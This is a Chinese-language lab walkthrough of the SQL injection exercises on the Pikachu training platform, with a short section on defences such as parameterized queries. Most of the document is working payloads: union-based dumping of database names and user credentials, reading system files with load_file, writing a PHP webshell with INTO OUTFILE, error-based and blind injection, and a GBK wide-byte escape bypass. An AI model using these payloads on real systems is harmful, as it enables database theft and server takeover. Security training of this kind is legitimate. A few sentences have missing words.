前言
Pikachu是一种常见的网络安全训练平台，用于模拟真实世界中的网络和防御场景。它提供了一系列的实验室环境，供安全专业人士、学生和爱好者练习和测试他们的技能。
Pikachu的目的是帮助用户了解和掌握网络的原理和技术，同时提供实践机会来开发和改进网络防御策略。内的网络环境是虚拟的，用户可以通过远程访问来完成各种任务。这些任务可能包括测试、利用、密码破解、网络侦查、恶意软件分析等。
Pikachu提供了多个不同的实验室环境，以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标，用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导，以帮助用户理解每个实验室的背景知识和解决方案。
通过在Pikachu进行训练，用户可以提高自己的网络安全技能，了解常见的攻击技术，并学习如何防御和保护网络。这对于网络管理员、测试人员和安全研究人员来说都是非常有价值的。
总而言之，Pikachu是一个提供实践机会的网络安全训练平台，旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源，可以帮助用户更好地应对日益增长的网络安全威胁。
介绍
SQL注入是一种安全，它可以允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码，来执行未经授权的数据库操作。这种漏洞通常出现在需要用户输入数据并将其作为SQL查询的地方，如登录表单、搜索功能、用户注册等。
SQL注入的原理是应用程序没有充分验证和过滤用户输入，而是将用户输入直接拼接到SQL查询中，从而导致恶意的SQL代码被执行。攻击者可以通过注入恶意代码来绕过身份验证、获取敏感数据、修改数据库内容或执行其他未经授权的操作。
SQL注入可以分为以下几种类型：
1. 基于布尔逻辑的注入：攻击者通过在查询条件中插入一些布尔逻辑，来确定数据库的信息。例如，在登录页面上，可以通过插入恶意代码来绕过身份验证，例如 `' OR '1'='1'--`，这会导致查询条件始终为真，从而允许绕过密码验证。
2. 基于时间延迟的注入：通过在查询中插入一些需要长时间执行的操作，来确定数据库的信息。例如，攻击者可以插入 `'; WAITFOR DELAY '0:0:10'--`，这会导致查询暂停10秒钟，如果应用程序的响应时间明显增加，那么就可以得出数据库查询成功的结论。
3. 基于错误消息的注入：攻击者通过观察应用程序返回的错误消息，来确定数据库的信息。例如，可以插入 `' OR 1=1; SELECT * FROM users WHERE 'a'='a`，如果应用程序返回了查询错误的详细信息，那么攻击者就可以获得用户表的数据。
为了防止SQL注入，应采取以下措施：
1. 使用参数化查询或预编译语句：使用参数化查询或预编译语句可以防止恶意代码的注入，因为它们会将用户输入作为参数传递给查询，而不是直接拼接到查询字符串中。
2. 输入验证和清理：对用户输入进行充分的验证和清理，只允许预期的字符和格式，并删除或转义任何潜在的恶意代码。
3. 最小化数据库用户权限：为数据库用户分配最小化的权限，只授予执行必要操作的权限，以限的影响范围。
4. 定期更新和修补应用程序：定期更新和修补应用程序和数据库管理系统，以确保安全修复和补丁已安装，减少SQL注入的风险。
5. 使用Web应用程序防火墙（WAF）：WAF可以检测和阻止SQL注入攻击，通过监视和过滤应用程序的输入和输出来提供额外的安全层级。
总结：SQL注入是一种安全，允许通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的数据库操作。为了防止SQL注入，应采取参数化查询、输入验证和清理、最小化数据库用户权限、定期更新和修补应用程序以及使用WAF等措施。
一、数字型注入（POST）
打开
因为是 POST 型，所以得打开 BurpSuite 抓包
右键发送到 Repeater 模块
单双引号寻找注入点
更改 id 为 3 查看页面显示正常
id=3
加上单引号和双引号报错（说明存在 SQL 注入）
id=3' id=3"
注释判断 SQL 语句
加上 --+ 显示正常说明没多余的 SQL 语句
id=3 --+
永真永假确认注入点
加上永真与永假条件测试
id=3 and 1=1 id=3 and 1=2
Order by 猜测字段长度
使用 order by 猜测字段，3 报错
id=3 order by 3
2 没报错，说明只有两个字段
id=3 order by 2
联合查询探测可利用字段数
利用 union select 联合查询，将 id 值设置成不成立，即可探测到可利用的字段数
id=-1 union select 1,2
爆库、用户、版本号、表、列、字段值
利用函数 database()，user()，version() 可以得到所探测数据库的数据库名、用户名和版本号
id=-1 union select database(),user()
爆表 payload：
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
发现表名 users，推测为用户表
爆列 payload：
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
爆字段值：
id=-1 union select username,password from users
读取系统文件
payload：
id=-1 union select load_file('C:/Windows/win.ini'),1 from users
编写
payload：
id=-1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php
二、字符型注入（get）
类型变为了字符型，在 SQL 中字符是用单引号引起来的
还是一样的过程，只不过多了单引号闭合以及注释
' order by 3 --+
' order by 2 --+
' union select 1,2 --+
' union select database(),user() --+
后续一样的
三、搜索型
通常使用了 Like 关键字，所以构造 SQL 注入时需要加注释
跟字符型是一样的
四、xx 型注入
所谓的xx型注入，就是输入的值可能被各种各样的符号包裹（单引号，双引号，括号等等）
输入单引号报错
可以发现多了个 )'，所以推测闭合符号为 ')
五、"insert/update" 注入
"insert" 注入
先点击注册
随便填入数值后抓包
原理是使用 insert 语句插入新的数据
猜测大概的执行语句为：
insert into users(username,password) values('$username','$password');
输入单引号则报错
无 select 报错注入
从上面的操作可以看出来，注册页面是没有 SQL 结果回显的，而且毕竟也不是 select 语句，也不能采取联合查询注入了
可以用 extractvalue 或者 updatexml 来进行报错注入
extractvalue() 函数
在SQL中，`EXTRACTVALUE()`函数用于从 XML 文档中提取指定路径的值。它的语法如下：
EXTRACTVALUE(xml_document, xpath_expression)
其中，`xml_document`是一个XML文档，`xpath_expression`是一个XPath表达式，用于指定要提取的值的路径。
`EXTRACTVALUE()`函数返回指定路径的第一个匹配节点的值，如果没有匹配的节点，则返回空字符串。
需要注意的是，`EXTRACTVALUE()`函数在MySQL 5.7版本中已被弃用，并且在MySQL 8.0版本中已被删除。这是因为它存在安全风险，容易受到XML注入。推荐使用更安全的方法来处理XML数据，如使用XPath函数和XMLTABLE函数。
能够用于注入是因为，当xpath不符合语法时，该语句会报错 XPATH syntax error (注入信息)，故可以将待查询的信息放入xpath中，通过报错回显出来
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or ' # 这个语句是一个典型的SQL注入攻击尝试。它试图利用`EXTRACTVALUE()`函数来获取数据库名称。 # 让我们逐步解析这个语句： # 1. `1'`：这是一个字符串，以`1`开头，并以单引号结尾。 # 2. `or`：这是SQL中的逻辑运算符，用于连接条件。 # 3. `EXTRACTVALUE(1, concat(0x7e,(select database()),0x7e))`：这是一个`EXTRACTVALUE()`函数调用，它尝试从一个虚拟的XML文档中提取数据库名称。`concat(0x7e,(select database()),0x7e)`表示在数据库名称前后添加波浪线`~`。 # 4. `or`：再次使用逻辑运算符进行连接。 # 5. `'`：最后的单引号用于结束字符串。 # 这个语句的目的是通过注入攻击获取数据库的名称。通过将恶意的SQL代码注入语句中，攻击者可以尝试获取敏感的数据库信息。
updatexml() 函数
在SQL中，`UPDATEXML()`函数用于更新XML文档中指定路径的节点的值。它的语法如下：
UPDATEXML(xml_document, xpath_expression, new_value)
其中，`xml_document`是一个XML文档，`xpath_expression`是一个XPath表达式，用于指定要更新的节点的路径，`new_value`是要更新的新值。
`UPDATEXML()`函数会找到匹配`xpath_expression`的第一个节点，并将其值更新为`new_value`。如果没有匹配的节点，则不会进行任何操作。
需要注意的是，`UPDATEXML()`函数在MySQL 5.7版本中已被弃用，并且在MySQL 8.0版本中已被删除。这是因为它存在安全风险，容易受到XML注入。推荐使用更安全的方法来处理XML数据，如使用XPath函数和XMLTABLE函数。
' and updatexml(1,concat(0x7e,user(),0x7e),1) and '
爆文件路径
补充知识点：在 SQL 中 substr() 函数用于提取字符串的子串
SUBSTR(string, start, length)
构造 payload：
or updatexml(1,concat(0x7e,substr((select @@datadir),32,30),0x7e),1) or '
"update" 注入
和 "insert" 注入一样的
六、"delete" 注入
先留言，再删除抓包
可以发现是数字型
构造 payload
七、"http header" 注入
先登录进去
根据页面显示的信息推测是获取了 HTTP 头
打开 BurpSuite 抓包分析出注入点大概为 User-agent 或者 Accept
加单引号报错
报错注入构造 payload
'or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
八、盲注（base on boolian）
加单引号报错
添加注释页面显示正常
补充知识点：length() 返回字节类型的字符串长度，可以利用它判断长度（结果正确则页面正常，结果错误则页面错误）
kobe' and length(database())>5 --+
kobe' and length(database())>8 --+
由此判断出数据库名长度为 7
BurpSuite 爆破
将数据包发送到 intruder 模块并给参数添加 payload §，攻击模式选择最后一个
kobe' and (select substr(database(),§1§,1))='§q§' --+
设置第一个参数类型为数值
第二个选择为简单列表并添加字典，取消 URL 编码
点击开始攻击
根据长度推测出字符（这里 34000 全是错的）
找到不一样长度的数据包，推测出数据库名为 Pikachu
当然也可以手测
kobe' and ascii(mid(database(),1,1))>115 # ==> 页面错误 kobe' and ascii(mid(database(),1,1))>110 # ==> 页面正确 kobe' and ascii(mid(database(),1,1))>112 # ==> 页面错误 kobe' and ascii(mid(database(),1,1))=112 # ==> 页面正确
得第一个字符 ascii 码为 112, 对应字符为 p
接下来就是爆表爆字段爆值（网上用脚本跑更快）
九、盲注（base on time）
无论输入什么都是 i don't care who you are!
利用时间函数 sleep()，如果存在 SQL 注入则会执行产生延迟
kobe' and sleep(3) #
可以执行，再配合 IF 判断推测数据库名长度
IF 判断
kobe' and sleep(if(length(database())>7,0,20)) #
错误，延迟 20 秒，反之则不延迟
接下来的 payload 就与布尔盲注大同小异了
十、宽字节注入
补充知识：GBK编码中，反斜杠的编码是 “%5c”，而 “%df%5c” 是繁体字 “連”
宽字节注入：
（1）宽字节注入使用条件是：PHP 发送请求到 MySQL 时使用了语句 SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码
（2）宽字节注入的使用原因是：单引号、双引号等特殊字符被转义
（3）宽字节注入的原理是：当转义使用的 \ 为 ASCII 编码，而客户端传入的参数被当成 GBK 等宽字节编码，则可以通过在 \ 之前插入一个十六进制字节（ASCII码要大于128，才到汉字的范围）来让 MySQL 以为插入的字节和 \ 是一个中文字符，从而吃掉 \ ，摧毁转义
打开 BurpSuite 抓包
kobe%df' or 1=1 --+
